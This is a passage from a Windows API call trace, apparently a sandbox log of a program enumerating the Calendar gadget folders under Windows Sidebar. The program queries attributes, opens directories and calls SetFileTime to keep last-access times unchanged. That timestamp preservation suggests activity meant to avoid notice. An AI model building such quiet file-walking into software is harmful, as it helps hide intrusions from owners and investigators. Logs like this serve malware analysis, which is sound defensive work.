Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.450] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.450] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.450] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.450] NtClose (Handle=0x178) returned 0x0 [0080.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e4b8 [0080.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e5c0 [0080.451] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.451] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.451] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0080.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e6c8 [0080.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f49b0 [0080.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e7d0 [0080.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.453] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.453] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f49d0 [0080.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e8d8 [0080.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.454] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.454] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0080.454] GetLastError () returned 0x12 [0080.454] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.454] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.454] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.454] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0080.454] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e9e0 [0080.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.455] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.455] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.455] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.455] NtClose (Handle=0x178) returned 0x0 [0080.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e9e0) returned 1 [0080.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e9e0 [0080.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123eae8 [0080.456] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.456] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.456] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0080.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ebf0 [0080.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f49f0 [0080.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ecf8 [0080.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.458] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 0 [0080.458] GetLastError () returned 0x12 [0080.458] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.458] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.458] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.458] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0080.458] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 0 [0080.458] GetLastError () returned 0x12 [0080.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123eae8) returned 1 [0080.458] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123ebf0) returned 1 [0080.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e9e0) returned 1 [0080.459] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.459] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e9e0 [0080.459] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.459] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.460] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.460] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.460] NtClose (Handle=0x168) returned 0x0 [0080.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e9e0) returned 1 [0080.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e9e0 [0080.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ebf0 [0080.461] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.461] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.461] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0080.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123eae8 [0080.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4a10 [0080.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ee00 [0080.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.463] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 0 [0080.463] GetLastError () returned 0x12 [0080.463] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.463] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.463] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.463] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0080.463] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 0 [0080.463] GetLastError () returned 0x12 